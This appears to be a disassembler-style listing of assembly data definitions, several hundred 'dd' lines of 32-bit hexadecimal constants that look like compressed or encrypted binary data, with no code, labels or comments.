		dd 9451796Bh, 0A0C2019Ch, 58675E4Ah, 1E1DE864h,	0BF330801h
		dd 7823F152h, 0F89EE4h,	0EECD9512h, 0BE85B5C5h,	81BC993Ah
		dd 807FCBDBh, 0E2D8235Bh, 9596002Ah, 0A6B0B134h, 0CA00F428h
		dd 292DC6F1h, 1FB41F66h, 0C75AB6A7h, 0C07B403Eh, 0F6410392h
		dd 0FEA31C00h, 190D6761h, 0AA7A0069h, 1F36B179h, 43004221h
		dd 7E981C1Ah, 0F8A923F6h, 0F71E3492h, 6B9A8038h, 5D014986h
		dd 0C30162A6h, 82E8A11Ah, 0F88B26Ah, 12392540h,	0D072AB27h
		dd 0BF10078Bh, 0B67C2C00h, 58E1B22Eh, 516873A1h, 0EBF0AC2Ah
		dd 6CE039D9h, 0D6DB3D00h, 0A3CF9545h, 7A392400h, 400F6FFDh
		dd 0A078F7h, 0C5086BB2h, 6D04F84Eh, 0BF849800h,	0D67F89A8h
		dd 60C8481Dh, 0D72BB380h, 9D90DFF3h, 25EE2400h,	0BFE36BDDh
		dd 0A96A017Fh, 0C01E3B11h, 0DB6EEC58h, 28F59B00h, 0F414C901h
		dd 19631413h, 0EA03E8CCh, 0EE5D336Eh, 3B598490h, 0A9B8270Eh
		dd 7D6BC189h, 2880CDBEh, 55FE9D77h, 670CBCE0h, 18C8C524h
		dd 299E1F5Bh, 0A232477Ah, 435C6099h, 415851DEh,	5BC614B4h
		dd 19958C0h, 6C36FE71h,	0D8F7FB91h, 1C8016h, 0CB50EED1h
		dd 7D307810h, 6EE22100h, 0E96ADA1h, 2C770066h, 132B6CC3h
		dd 531EB05Dh, 7F80676Bh, 6BEA950h, 0A78500D1h, 0EF902E9Fh
		dd 2CC2D9CCh, 40BCB36Ch, 0F51F4h, 6E96F77Ah, 3624EB0h
		dd 381A8300h, 3F135E34h, 5D5B0035h, 74330960h, 50000D43h
		dd 3DE30A53h, 7EBBE62h,	0B363DC03h, 3AF86CAEh, 800D7B2Ch
		dd 0DA8C0638h, 18EED4h,	8E64ED68h, 0D7317930h, 0CDAF9B00h
		dd 48763909h, 0A72F012Bh, 0DDE5852h, 5FC5F065h,	0ECA04677h
		dd 6906EA55h, 7D94B533h, 0C57B0049h, 19FAD0AFh,	0E371986Fh
		dd 1F7A5E04h, 90C0A9E5h, 7ED848h, 0B51D2FFCh, 0D3C7E3DEh
		dd 0CF22EB09h, 0E4A800CAh, 2CD7BB0Dh, 757E23Ah,	558ADF4Ch
		dd 7D88004Bh, 3963EA49h, 0C9948101h, 3B2A410Ah,	0F43547C0h
		dd 0C090061h, 0F0877738h, 0E8A063C1h, 8774869h,	3F1EF40Eh
		dd 0F151C0E9h, 1250BFA8h, 26873Bh, 852833ACh, 3900CA70h
		dd 4FDAE6Ah, 3E0B12E9h,	0D58915C5h, 0A4022CC4h,	0F8CBF502h
		dd 0F0B490ECh, 14099B4Bh, 7E4DFAh, 0C371DAA8h, 89D00CCCh
		dd 171CB05Fh, 61CF131Dh, 98EE9DC7h, 999BFF60h, 6221732h
		dd 49702CCh, 78483CE8h,	0BD00FABBh, 0CDCB7F8Fh,	729C4B7h
		dd 501A1416h, 60223104h, 0D82EE81Fh, 0D79D44A0h, 2BBF54A0h
		dd 0D50D270Ch, 0DD795Ah, 88BA8CABh, 0FFF739EDh,	6EB18E00h
		dd 25C76A72h, 54F2005Fh, 92609527h, 2B4CECBDh, 0C4E60983h
		dd 0AC74E03Ah, 3B030087h, 0A476F52Ah, 0F600D3EDh, 64AD2FE6h
		dd 1FA7067Eh, 458370C3h, 72D451Ch, 0FC5EE288h, 0C000CDD9h
		dd 2FD65290h, 1DEAD0C8h, 8043DEE7h, 0ACF50D29h,	0BEE67C68h
		dd 0A2CCCA0h, 0B4C22E00h, 5D3BA63Ah, 8AFD03C0h,	690F4B82h
		dd 590F189Bh, 0E1AA9C81h, 0B529F85Eh, 1C00C84Bh, 0E6ABAE8Fh
		dd 0FD4CCF75h, 0C29A0061h, 1B5EBA36h, 748200FBh, 0CB1F23AFh
		dd 71E22252h, 0A33EDF7Dh, 7C1800EEh, 46D232F8h,	544C005Fh
		dd 666B1A62h, 45017184h, 0E45380B5h, 0DDF9A6C4h, 8EEC389Fh
		dd 9420AE6Eh, 2CB1DB2h,	9989F8E7h, 0A0F46400h, 0CF77250Ah
		dd 12FD0115h, 7D9E32C9h, 63CD44Fh, 973B0700h, 62F10F14h
		dd 0D4250E5Eh, 0E640C49Fh, 0F868173Ah, 0E2931F06h, 1728E975h
		dd 278D42Fh, 98033AB2h,	0F8DCDD40h, 80FD8E39h, 0B1E899F7h
		dd 77064C6h, 4745FEA0h,	566981FFh, 4B1FE055h, 5A7E4F00h
		dd 42C1A670h, 0F1123BDDh, 8C8B9100h, 0A3EE54C2h, 329E0500h
		dd 151DACF4h, 84725062h, 1AA39EDh, 894EFB00h, 8673E867h
		dd 28BB1107h, 0BCE29979h, 245C7810h, 80442570h,	91FC6F92h
		dd 7D002765h, 0A2FEA650h, 90E71C05h, 280C3DEFh,	828FB000h
		dd 2E204E3Ch, 8A011D7Eh, 2629F3DEh, 4CCA35Bh, 669C00E5h
		dd 15100F2Ah, 9B008BDFh, 0F21CC517h, 28A8F5h, 0E02F8A3Eh
		dd 0FE10819Ah, 1222CF0Eh, 376B8009h, 908B1F55h,	0E83C0353h
		dd 13071BB2h, 5EA775C8h, 39AC5C07h, 0B4D0702Bh,	34AAEh
		dd 4D843FD0h, 0D8FD8949h, 905B330Eh, 56223C1h, 9C91AC73h
		dd 7220D0A2h, 0BB8F003Eh, 652C3781h, 74798321h,	54D2DC2Ch
		dd 873FA103h, 9A48F956h, 1A4EFE0h, 0CDFC8327h, 0CC17231Ch
		dd 3A031FD3h, 74115E78h, 8D5040F4h, 0C73B00A9h,	69310367h
		dd 5712E6E2h, 0A400042Ah, 0A76B9A6Ah, 61C00228h, 54ABEC73h
		dd 0E18018EAh, 0E349B9E1h, 0C304BCF4h, 0FB724FA6h, 9B042A80h
		dd 98670084h, 0AC90649Dh, 17398DABh, 1E9E89B8h,	4D908048h
		dd 0FADDA959h, 5CB9011Dh, 2DEA5808h, 653FE84Bh,	97304Ch
		dd 268DE213h, 4CFB6h, 0C9A146FFh, 0CB828510h, 0FADE9E00h
		dd 7D17C14h, 186C0069h,	7612C2CFh, 68C051F2h, 43E3CC2Ah
		dd 0BAFB0037h, 725967E9h, 0BF001BC1h, 1915B3C7h, 16690DEBh
		dd 1D7310DFh, 74DBC027h, 3D1EFDB0h, 0A1ACDA1Dh,	8AF188C0h
		dd 13B1C2h, 94ED7197h
		dd 0CE7E6808h, 0CF8DDE00h, 0D6360B35h, 0A9550195h, 56D7D43Ch
		dd 1422DBh, 0DCFD7CF9h,	0F18A6C0h, 32417121h, 5B9E7AE1h
		dd 0A15570EDh, 82D0E71Ch, 0D594E280h, 3450B4h, 0A78446A6h
		dd 0D99873C4h, 63B0BD02h, 810499CCh, 0A4ECC6D4h, 4FC49E41h
		dd 0E3D2F880h, 71F45DE4h, 0C9D88A50h, 0E0BAAEFAh, 7AC3331Fh
		dd 0A4B44B00h, 6AA118h,	2168D56Eh, 57EB9E0Eh, 0C3FB960Eh
		dd 822981B1h, 72F020BEh, 656B388Fh, 5E8FC02h, 35604A34h
		dd 2A1DA319h, 0E900BE9Ch, 0C212ADC4h, 56B73CD8h, 0DC17DA07h
		dd 0D100AE67h, 6E6C6DEAh, 0B621EF0Eh, 23B98061h, 0BA5011h
		dd 7E2CFC18h, 0D50651C8h, 4200DE7Fh, 4F037573h,	9AF9BAh
		dd 0B2F76005h, 1C0A2B8Fh, 6C5E7000h, 987569DFh,	0E27FE464h
		dd 0A245007Ch, 841FF3F2h, 0DB03762Bh, 521058E1h, 8906C890h
		dd 767EE045h, 6E4D007Fh, 59BFB1BDh, 9500D7C6h, 0B8298D2h
		dd 1381E9EDh, 0FBB4DBh,	0DA3CD69Ch, 870091DDh, 82F06D32h
		dd 0EAC63176h, 48581F36h, 0E2AA8044h, 90610F0Dh, 2C9D821Eh
		dd 6E37BD81h, 0FC4793BEh, 0C400FDF5h, 2B7C4F9Eh, 9A6300E9h
		dd 3A82189Fh, 0C0000698h, 93C754FBh, 1EE20D1h, 5CF3DFBFh
		dd 288185A0h, 0DC050098h, 0F8D1C638h, 9027CE7h,	0FA2C1257h
		dd 0BA6B2F00h, 0D677B6EEh, 7CB0F0Ah, 8600EA7Bh,	0F7B83AB7h
		dd 0E7170074h, 97558289h, 0FAEA77CAh, 0EA088503h, 103286Ch
		dd 0AA3A0169h, 879AF429h, 0DE94C211h, 0A099300h, 0C929C242h
		dd 64707748h, 73B6BF03h, 0A045119Bh, 0D120B9h, 27DAAE97h
		dd 0FBBD14DEh, 4F65C801h, 6FD8D791h, 0D400A4BCh, 88663BDDh
		dd 2C00D05Bh, 52014D7Fh, 5A53CCAAh, 0A12C4350h,	11902BF2h
		dd 0D530739Dh, 37891998h, 0A03C0003h, 0A3534376h, 0F25E13CCh
		dd 0EDA7EC40h, 28684ED8h, 7E0C08F0h, 580F952Fh,	504BCE00h
		dd 0D604A4A2h, 4724307h, 25079885h, 0B7B0B912h,	732C3Fh
		dd 720DAD4Ch, 0EC65082Fh, 5476490Eh, 38009CFFh,	3D39D8BDh
		dd 72F9E6EAh, 0EB325CB5h, 0A9A21B02h, 83C0CB27h, 6800B059h
		dd 7E28ED3Ch, 0CFF16Bh,	0FF67FDDEh, 3FBE0265h, 0C0096F00h
		dd 99DD7B15h, 0E74C0072h, 0BB89857Eh, 0E10F81F8h, 43E248DAh
		dd 0C7D1BE19h, 87FF4F70h, 57F4052Bh, 0B24C79B9h, 309DF2C0h
		dd 1400C8FEh, 4C74B3E5h, 1954F447h, 504D975Ah, 8D618A1h
		dd 7BC4A0ECh, 8E409AC4h, 19E8ECDEh, 7DAF4000h, 13E3B9D0h
		dd 39470034h, 2D0F4C43h, 0F03AEB48h, 0C1606BADh, 0D618DF04h
		dd 2D2C1A48h, 2896F5h, 61ADD7Fh, 0A8666768h, 0F150F550h
		dd 13EEFD0Fh, 41DAA61Ch, 71643E71h, 0A4A1ADA7h,	40BCE2CEh
		dd 864F78BBh, 5B3C371Fh, 49123030h, 5F1C0F36h, 7202400Fh
		dd 44D1D9AFh, 0D84BB687h, 19976A02h, 8689109Ch,	0C8E9074Bh
		dd 3665A720h, 0F70CE0B0h, 0F887545Dh, 0FD311F13h, 0F8AA4702h
		dd 22F4507Ch, 0C8005BA3h, 0BBDD053Dh, 4CBF97CDh, 0C503FC1Bh
		dd 0A285FDC7h, 0F80DC8C8h, 6D479B00h, 7F278B7Eh, 935400B4h
		dd 0A82E6F15h, 0C0039E2Ah, 0ACF33508h, 7EFCF003h, 14250016h
		dd 843619DEh, 1C00EFB7h, 0B3FEEBC6h, 0E83DBE35h, 604801AEh
		dd 8A6CE42Ah, 0DC87C9F9h, 2803DF1Bh, 8D1FBE65h,	1D36E8E8h
		dd 30C7849h, 75A7AB7Fh,	180024FBh, 8E216A7Dh, 0F8A11002h
		dd 8B592120h, 445C3E08h, 664A315Dh, 7986B108h, 0D51144D6h
		dd 30DE6288h, 37305F77h, 0A6406F66h, 0C46D30EBh, 0ED118A08h
		dd 8D78F301h, 3453A2F6h, 0CE0618BAh, 50126DC5h,	68B16061h
		dd 1C406EC9h, 0F8B24CBh, 0AEF1F2FEh, 88BF6C01h,	21EBE04Eh
		dd 0BB7091F9h, 0A5F631Eh, 1E08D585h, 8C620834h,	0A1490B81h
		dd 0E9D48FFDh, 659F0CEFh, 0A4790594h, 271C3F18h, 0DFA02EC8h
		dd 0CC760080h, 78724A02h, 90120E00h, 138B9DD1h,	197B18EBh
		dd 0A5D297Ah, 0F0A1CB00h, 0E77556F4h, 0A308CC2Ch, 0F23F3A21h
		dd 526480CBh, 1A996B11h, 6DCD078Dh, 9018EE49h, 0AF953940h
		dd 0F9BF80C7h, 0A06F8C61h, 870A2080h, 0FF62EE7h, 0C7074E80h
		dd 2267F858h, 98A089B2h, 7AA26F56h, 0F3ABE03h, 1861B7B6h
		dd 207C6808h, 0A2001777h, 1151D22Fh, 1E0A5376h,	3041567Ah
		dd 34200D58h, 806F8A29h, 889D7D00h, 0CFF395C7h,	48410B11h
		dd 0ED4CA064h, 92FA21A1h, 84FB908h, 99496528h, 0B065ACC0h
		dd 6E560121h, 413E7AA0h, 0D68BE01h, 182B7DD0h, 0B088300Bh
		dd 21DC48C0h, 4053835h,	53F12F85h, 0C4D81C3Eh, 0E84F689Eh
		dd 1C920005h, 0F5E1DE04h, 0CC9100B7h, 0FEF08952h, 0E000D561h
		dd 9F678BDBh, 12084112h, 0AFDD3Bh, 6F0F1D3Bh, 0F3012E7Bh
		dd 40FD370Ch, 5C3039A3h, 9EC30085h, 9F43BFE7h, 250017E2h
		dd 1F544F63h, 3BBE38h, 0ACECA81Ch, 4998BF64h, 3FA59C2Eh
		dd 59009124h, 75DCD6Ch,	93A00033h, 4B7B8113h, 2A00F173h
		dd 279A5FE9h, 0F52C66h,	41FA4E59h, 9D3918Ah, 9EE3D004h
		dd 26805D2Fh, 90DE710Fh, 16940F6Fh, 9A23CEF1h, 0BCD03D23h
		dd 6A001C4Eh, 0AC39A095h, 32FC42DEh, 0E91090EFh, 90FE0495h
		dd 9FF13EA8h, 0DCC9A109h, 0AD06E281h, 6D0BF028h, 0CD954000h
		dd 26DB4999h, 0A1970D9Ah, 0ED29DF63h, 661A103Ah, 243F80CCh
		dd 88D3FE88h, 5E892995h, 21532841h, 12B6F311h, 263C8191h
		dd 3701BEEAh, 0B2CE1127h, 2900BD13h, 8830DF83h,	78D8F64Fh
		dd 323700EBh, 0AF0341AEh, 33FC86D4h, 6E008173h,	0BDFBB0BBh
		dd 82268h, 0FCB38CFDh, 362D85CAh, 0E2008AB8h, 0C94C90F1h
		dd 74DCF22h, 0DC7BDB03h, 470F405Ah, 0FC007D35h,	0A0B9DD1Fh
		dd 98BEE3h, 0F6FB4C34h,	0A8691932h, 9F8FD903h, 0E04BE6DFh
		dd 29F795h, 0FA6BBD03h,	0A6F86F16h, 0E95E8F00h,	4AFD4202h
		dd 0FF0A003Bh, 5B383915h, 112E947Ah, 0E00B448h,	6BA8497Fh
		dd 9C77C6h, 5FFE42BDh, 40AA0739h, 5DF5B307h, 0BC403B20h
		dd 7DA3736Ah, 67380022h, 7C2DCBB6h, 0F80E62BAh,	20E2D0ECh
		dd 2D11C70h, 0A1B10255h, 387C6A73h, 1B210440h, 0F10D8F00h
		dd 4AC56056h, 184D7BCCh, 609FB2EAh, 10243A94h, 0DD001C3Bh
		dd 451A9DC2h, 0C45900C6h, 0D3423F9Fh, 8A0077F7h, 79DEBD52h
		dd 70123Ch, 0DD24B274h,	0D44D4B27h, 3A8B9B00h, 0DCE44FBFh
		dd 90A527A8h, 4160E1F0h, 0AB4CF692h, 0B75939C1h, 0C5030376h
		dd 6C7658Fh, 0F75C90E4h, 0A91407A4h, 80C44CBDh,	1FEDBC15h
		dd 545B00EEh, 772DB81Dh, 0D00116F3h, 0F497802h,	48D85741h
		dd 3897057Ah, 0C1E0624Bh, 40938CD3h, 0BA98F494h, 0CED23100h
		dd 341D20E6h, 0F92003Eh, 82C227A4h, 0A200F22Eh,	149CD0B1h
		dd 520CFBh, 0F9513EA3h,	0B7B5334Bh, 0CF12B612h,	3C40081Dh
		dd 0F6112C17h, 95520129h, 0DEE65191h, 0E4FDDDF2h, 69011813h
		dd 4F44CBC5h, 0BAC3BC5Bh, 0A9D26085h, 94E5001Fh, 1E0A56BAh
		dd 197439EFh, 0ED549102h, 0E0DC93C0h, 75268144h, 34EE18F5h
		dd 6BB57831h, 533C7A0Eh, 4BD6E0CBh, 0FA9DF9h, 6A5BF127h
		dd 8EE8A247h, 399C781Ch, 0C0B8DDCFh, 5AF2F088h,	0B2C31F60h
		dd 7E25C05Dh, 0B83A57FBh, 0C5185F00h, 1A9C7248h, 0B70D7h
		dd 65B1ED71h, 0A0B26420h, 5D55BB00h, 0C00AB4A4h, 2D960382h
		dd 0B8277233h, 78F4A798h, 0D9004371h, 34864B58h, 98EE2656h
		dd 271D0048h, 7F188CABh, 2171D6DFh, 3EC6510Eh, 1CD16076h
		dd 0D3AA3Ah, 746E1249h,	0C51F5883h, 34FE5D00h, 6CF7142Dh
		dd 5C5F07AFh, 0A4D90AAAh
		dd 0A424838Eh, 1388DA83h, 6E489694h, 52BB0088h,	27467B28h
		dd 0E37909AFh, 80008E18h, 0D3A72CC2h, 2A5C7316h, 3BCB4A00h
		dd 1C4A5716h, 0C076D241h, 8B9FC62Ch, 0A003C282h, 65562E4h
		dd 23A2A869h, 7E7642h, 0F6166A58h, 0C74D198Dh, 4CB0591Dh
		dd 0D2493C40h, 70094AA0h, 965600C5h, 47C2EB5Eh,	0E2006875h
		dd 0F6523C54h, 0F0F893A4h, 9E7823h, 4B692AD3h, 7722C5C1h
		dd 0F605B20h, 18FB70A3h, 3D89F600h, 4E18815Eh, 8CE4C21h
		dd 0A041098Ch, 0F40454A6h, 2130903Dh, 0AB072881h, 678062C8h
		dd 24CBA5D0h, 239901D7h, 0E915FBACh, 2A5EC4DFh,	9013C1EEh
		dd 680093DBh, 0A797BC16h, 1FCCFAA5h, 80DDB591h,	0B81B98DEh
		dd 0D12410B2h, 0E600443Eh, 74481D7Ah, 0AEB60794h, 50E90772h
		dd 64DECAE2h, 33780902h, 83A6B58Bh, 982461A0h, 0E792Dh
		dd 0AE217729h, 88E6C06Eh, 801F833Dh, 44FC2F43h,	3D6268h
		dd 16BC932Ch, 0BD1AB839h, 5B1C6D00h, 92A9FE56h,	97260074h
		dd 8ACB3E6Ah, 6600DC2Ch, 9BADA562h, 0D947A3h, 2839FF6Eh
		dd 0BDAEE8FBh, 0A4249100h, 0D454601Ah, 9C8E002Ah, 0D6B54810h
		dd 4E00F401h, 2F68C322h, 79FFE7h, 9F412708h, 89A40DD8h
		dd 0D60B2B17h, 0B005400Ah, 5FA9FD01h, 84C4B2BAh, 7FF7034Eh
		dd 5B1A74Ah, 36C821C0h,	0A5386F07h, 0B270F92Ch,	127F3D2h
		dd 0EE6A45ACh, 20F1C485h, 0C300B6AAh, 97B7744Bh, 2C6B127h
		dd 6067E924h, 0CCA07BF3h, 0BE194776h, 0C155CE00h, 0B0A70BEEh
		dd 856A0596h, 409A048Bh, 0CC23B4C4h, 251EF144h,	0D928581Eh
		dd 4227671Eh, 60699A00h, 0A0F33533h, 240CBDBCh,	80048D5Fh
		dd 0DE18D57Bh, 0DC003C17h, 6D518CA7h, 0F239F34Ah, 681F4CB6h
		dd 5FB4FE07h, 7C80A9D7h, 0DA7B10Fh, 0F5798102h,	806F0A77h
		dd 1912A0E4h, 3E542438h, 0B35100D4h, 4D688B40h,	20FE5509h
		dd 0C0080E0Dh, 39C6B5D3h, 0D7280051h, 8689F9B8h, 400D05Ah
		dd 0E713883Eh, 0B4F079h, 734099EEh, 78828AE1h, 6092A348h
		dd 0D318A758h, 0A00801DBh, 0C0342988h, 7F90D895h, 0E2831F00h
		dd 337A8C03h, 2F78C1h, 4316D9B4h, 823512BAh, 53529A07h
		dd 421FBC7Eh, 0C0CD3AEEh, 0F2238Ch, 0CD361CCh, 1F9AC26Ch
		dd 3552FB16h, 0EEB11F00h, 485E5469h, 3607DCF9h,	0A1B7C716h
		dd 303A3832h, 0C40097D8h, 6BF1355Eh, 6F7E839h, 2D0AD215h
		dd 0FD1DD857h, 74C06597h, 93D1E4C1h, 68EB00ACh,	0B4AAFF19h
		dd 0C4B0970Ch, 0C0187700h, 0ADC37A5Ch, 5009006Ch, 6BC50634h
		dd 0D3004A70h, 3D0EA5B7h, 610382E4h, 9B179A7Ch,	0F307F899h
		dd 287A3576h, 0E0D648h,	944303EBh, 1C86B8FDh, 8FC1312Ah
		dd 4B817A96h, 0D8066372h, 0C5004368h, 0D5CBEF8Eh, 26E13A3h
		dd 2694DBB9h, 56E0F64Bh, 0F01DFE44h, 0C6808055h, 53234865h
		dd 0F47500DCh, 0C31901Eh, 7C0001CFh, 9C61F226h,	0DE5BCCAFh
		dd 9DBB8030h, 199B58CBh, 34F0EE06h, 29EB77h, 0B43BCEFFh
		dd 0F7337232h, 1F4EE53Dh, 0CDC3165Bh, 0F6D26FE3h, 24C80171h
		dd 683641D3h, 0AEE4F4B9h, 0EBFFC902h, 0EAFDCCE3h, 1983D51Ch
		dd 80A0010Fh, 86EE06AFh, 3144759h, 829713FCh, 411900A5h
		dd 26092B6Bh, 0F2005687h, 0B5CFFFF3h, 89BBBEh, 444DEB7Ah
		dd 666CA03Ch, 0F300BCF0h, 0CF64E7ABh, 9CB815h, 1C5B05C3h
		dd 9D171B2Fh, 627C5403h, 0D8CC886Bh, 3C1B4C9h, 990B9AE8h
		dd 31E001FCh, 0C818FFD6h, 0F3215B25h, 0B1DD0087h, 0F0FD2428h
		dd 0C4005C93h, 5A167450h, 0F186FCCFh, 181281E8h, 19DA8D09h
		dd 100024C2h, 0FE8AE357h, 9A0FBC79h, 46C500BCh,	0A4FF3383h
		dd 0ED0EF706h, 2FB31Eh,	0FD7A522Dh, 0EE1100BFh,	916A620h
		dd 0F90103B9h, 1CDD9FB5h, 0C422F397h, 0A26BD201h, 0DC922F08h
		dd 16009B55h, 4B5AB2A5h, 0B05E72FAh, 0D9151F29h, 366400E2h
		dd 0E9C68ECEh, 9A853Bh,	0F9CC570Eh, 0E5F7CB9h, 5312F4D2h
		dd 9F053CE9h, 89818084h, 6300D0C8h, 0D62CAC6Ah,	0FB386EB6h
		dd 1E208FD4h, 0C0877FBBh, 23A7D2FBh, 4C077059h,	38D5FA3Dh
		dd 3EB8B080h, 0CA63072Bh, 0B373FBEDh, 0CBC0BDCDh, 7D0314FAh
		dd 129EF726h, 0CE94D061h, 0BC1F3C22h, 0C3009CD8h, 4D516E58h
		dd 54005D45h, 0A17F4E09h, 53E39h, 0FA8F2D40h, 378EBBAh
		dd 731A3Fh, 4B66AC25h, 63704704h, 24E57E96h, 4AFCD07Ah
		dd 3B7CDCF0h, 0A1333D00h, 4EF6B444h, 0BC6F886h,	793A8E54h
		dd 2F7CCB00h, 6216657Eh, 45E15A6h, 0FA8C281h, 3160062Ah
		dd 9AF00ECh, 8482DB52h,	32005DC6h, 4C291450h, 4F2AA8h
		dd 0F0CD261Fh, 5A829A13h, 0B9EC0B00h, 5C8317Fh,	0C9380017h
		dd 738ED8EDh, 4100FC9Ch, 933D2B97h, 0EA11B5h, 0FDD43F5Bh
		dd 5588E9ADh, 0D186DD00h, 0ABA28A28h, 0BCFF1CF2h, 7B84FD13h
		dd 0C074AC5Eh, 388A2458h, 9C0C7300h, 3B1034B7h,	0E87F9068h
		dd 0F56400D8h, 83820F39h, 410074F2h, 0E1EDC92h,	2EAA90h
		dd 0F7473702h, 87A4218Ch, 30CFB10Bh, 0CA648098h, 3BD500Ch
		dd 0CD97B81Ch, 96E0F0DDh, 281DA09Ch, 1E849414h,	0C5C001ADh
		dd 983D2Dh, 17BEEA19h, 7C3F630Eh, 6D9E8B00h, 6F2F3AFFh
		dd 95AE00EBh, 2850ECB9h, 0CDE20D75h, 0FB2E611Eh, 0B7923240h
		dd 0BE4025h, 0DB124DB2h, 93AC241Fh, 1C5F7107h, 2561D048h
		dd 1070ABCAh, 58110735h, 0A04F782Dh, 0FE17E282h, 92CFE700h
		dd 143581B4h, 0C6F80051h, 5C55299Fh, 8E0018F6h,	5DD7E3A2h
		dd 0BFFA75h, 45E1D4D3h,	2FF2460Dh, 0F4E00780h, 0B42702C6h
		dd 66C55D49h, 180FDD20h, 432E00ABh, 0B0998A4Bh,	57E2D8F2h
		dd 981E3C3Eh, 0FB7A6041h, 0E4DB00DEh, 0A2069A2Dh, 0A417BE09h
		dd 690B214Ah, 0A3B60132h, 5880812Bh, 1CAECC66h,	800F624Ch
		dd 8338597Ah, 0D031DA19h, 422ED8Dh, 0D33BA14h, 0E96080EFh
		dd 602C3978h, 90DFCF0h,	0D2FC5873h, 0E2F30083h,	0F74F0F43h
		dd 0E1052EAEh, 58176867h, 0F0802480h, 0C48C0DA2h, 9FF07A70h
		dd 0DAC0695Ah, 9F8DD96Ch, 2C7F5Dh, 0B6285E5Fh, 10A554F7h
		dd 89392E18h, 0B1C511h,	43BB1CFAh, 0A5249776h, 8B818000h
		dd 27169605h, 673D01DAh, 60E34009h, 0ADE7FC24h,	4A0082E8h
		dd 0CEBF22C9h, 209E5B1h, 0B3169057h, 2BE07985h,	0C8042F7Bh
		dd 71552874h, 98A04C0h,	83410024h, 427FAEF6h, 44005E3Fh
		dd 2A9D1A5h, 0F00B0375h, 2F611CEAh, 0A00500D9h,	2E46C730h
		dd 80DFE03Fh, 409604A1h, 316ACAB8h, 0DAC86192h,	0E0B2802Eh
		dd 8288C5A6h, 3D140027h, 3534534Ah, 6239B710h, 0E7240075h
		dd 8D16A849h, 17F7298h,	99C76AA9h, 0D853877Bh, 0C400A47Ch
		dd 0E3E1C8E4h, 3B55891h, 64FC3E13h, 73D9BDAFh, 7B47D08Fh
		dd 0A900F47Ch, 96268E9Fh, 160B2945h, 67F6E9h, 4B32F7D6h
		dd 8312DAA3h, 0C6094314h, 0A6C8853Eh, 0B7A7ACC0h, 795741Dh
		dd 895ABCEFh, 47E44126h, 0F20820DDh, 0B35D3A09h, 1AA70798h
		dd 803AF40Ah, 18993528h, 4870242Eh, 860091F6h, 16F4EF56h
		dd 0A8032952h, 8AAD2665h, 739B90FAh, 931900A4h,	0A15CBAFBh
		dd 2703A9F7h, 0C516176Ah, 0DBAC00B2h, 0DAC1975Ah, 3A3B5103h
		dd 0B77000FEh, 39AC1C63h, 0FAE300ADh, 8C65A302h, 0CB3E6C08h
		dd 0B7F0801Fh, 0A805B098h, 6A92008Eh, 0F4CD207Ah, 0EB0F025Dh
		dd 828AA141h, 50132B3Ah, 79387444h, 0AE7000BEh,	0DC1B371Ah
		dd 60090F85h, 2759CAB6h, 4780F0D4h, 1C4149h, 4DDF4F5Bh
		dd 55468318h, 0C58DA02h
		dd 0B4EC48h, 0F690F8DBh, 0C875E300h, 6919CBDFh,	985092Ah
		dd 318E670Ah, 0B5BF7483h, 0FCD73026h, 0A8DDF080h, 4806CA67h
		dd 631D22D4h, 0A6AC0FB9h, 0D2003617h, 764C3803h, 0B8A40911h
		dd 6D9E4C3h, 0A87AB3Fh,	903ED854h, 9D20004Fh, 0D6C8BA35h
		dd 0F8BD0098h, 0B358CFC1h, 516021D8h, 0AA18E328h, 34A81E59h
		dd 8C53F2h, 3C9781E1h, 6B0A68D9h, 985C8EA9h, 0B7ECBF80h
		dd 1010B7Ah, 0A723AB1Bh, 0D9DECC24h, 3CCA212Dh,	0E4AF00BCh
		dd 0CFA4F209h, 105203ECh, 2857E825h, 0D3766001h, 0C86F2AE0h
		dd 1DE40CE8h, 3DC0508Ah, 0B54C7800h, 70170E31h,	4F792E60h
		dd 1C363Bh, 374D8981h, 29E22C92h, 0F685A007h, 0CB3074D5h
		dd 518825EBh, 32E8ACF5h, 984798CEh, 0E47651B7h,	0EC10EDF4h
		dd 86581850h, 308E623Ch, 0F0C77701h, 0F75351C4h, 0F8C1EE20h
		dd 0E1A0031Fh, 774EFED1h, 69C031C8h, 4590EB07h,	0B9C04796h
		dd 1C8A72Dh, 62191E65h,	68E628B0h, 0C5D700E0h, 0EAB23B4Dh
		dd 0F88000ACh, 0DAA2E0Ch, 9E094251h, 2FB022BFh,	4548C030h
		dd 0C094D68Eh, 13CB6110h, 5600F463h, 0D194177h,	67A7F9h
		dd 27C85AADh, 8DC6ED8h,	6855C03h, 0C14EF869h, 0C8689AC1h
		dd 2B29EA0Dh, 40DAE188h, 0A35A79FCh, 0FA1A1D24h, 8391830h
		dd 0D6FE00E1h, 9CE5B9D3h, 4A075844h, 0BC1456BBh, 13A79907h
		dd 77706F60h, 257500D7h, 85FB1C6Bh, 1D00F5C8h, 0FAEA2686h
		dd 1FED3920h, 22E4D3Bh,	7EEC9CB7h, 0D08C7C0h, 79E8F458h
		dd 16C7A5Ch, 0A61B82F5h, 14F4D044h, 23400057h, 797DA55Fh
		dd 0D0E85EAh, 0E221F27Bh, 0F897F5A6h, 0FB5A0720h, 0F171CDE5h
		dd 0C40C4A56h, 531433ACh, 40E59140h, 1D00EEFCh,	182AE27Bh
		dd 5B6A69h, 50CB66B5h, 312BF16Dh, 0DC7E0A00h, 104E735Dh
		dd 0A1CE076Fh, 30764ABCh, 0B2648DFh, 7393B224h,	2A8ACF00h
		dd 3F60D0h, 8319852h, 8DF468FBh, 6BBE2D00h, 749A16F5h
		dd 52550091h, 0B12EF661h, 40B8CC82h, 0E18843Fh,	0C2CF6323h
		dd 48BA9687h, 90199910h, 0A61515BCh, 9700FCECh,	0B80389F9h
		dd 0F40EF0C0h, 1AABC33h, 0B62D7E0Ch, 100C4E68h,	3C6862ECh
		dd 0C81D4D0Fh, 0C7DA61F4h, 5ED4529Ch, 2BA9001Ah, 0D075BE5Ch
		dd 0D1C0F50h, 68C0FB12h, 2F0873Ah, 0F1370533h, 42C736D2h
		dd 1726BFB0h, 3C23B848h, 50C66424h, 4AE07287h, 6C80C565h
		dd 0A7A0D2h, 7C1C018Eh,	0FB2A51EFh, 0DFCAFF0Ah,	0FE00C2E1h
		dd 4DCFBB5Dh, 0C3120130h, 6DB43CD8h, 8A51802Eh,	0F61DAD14h
		dd 808F265Eh, 0FF2D1FB8h, 35C0E200h, 9E234585h,	37886B00h
		dd 2D2AEE32h, 0EA783E1Bh, 0FDE0CB80h, 4ACE1F2Bh, 0B129F000h
		dd 9C075990h, 2DA800CDh, 6D974FCCh, 6B2BDC21h, 0C1006838h
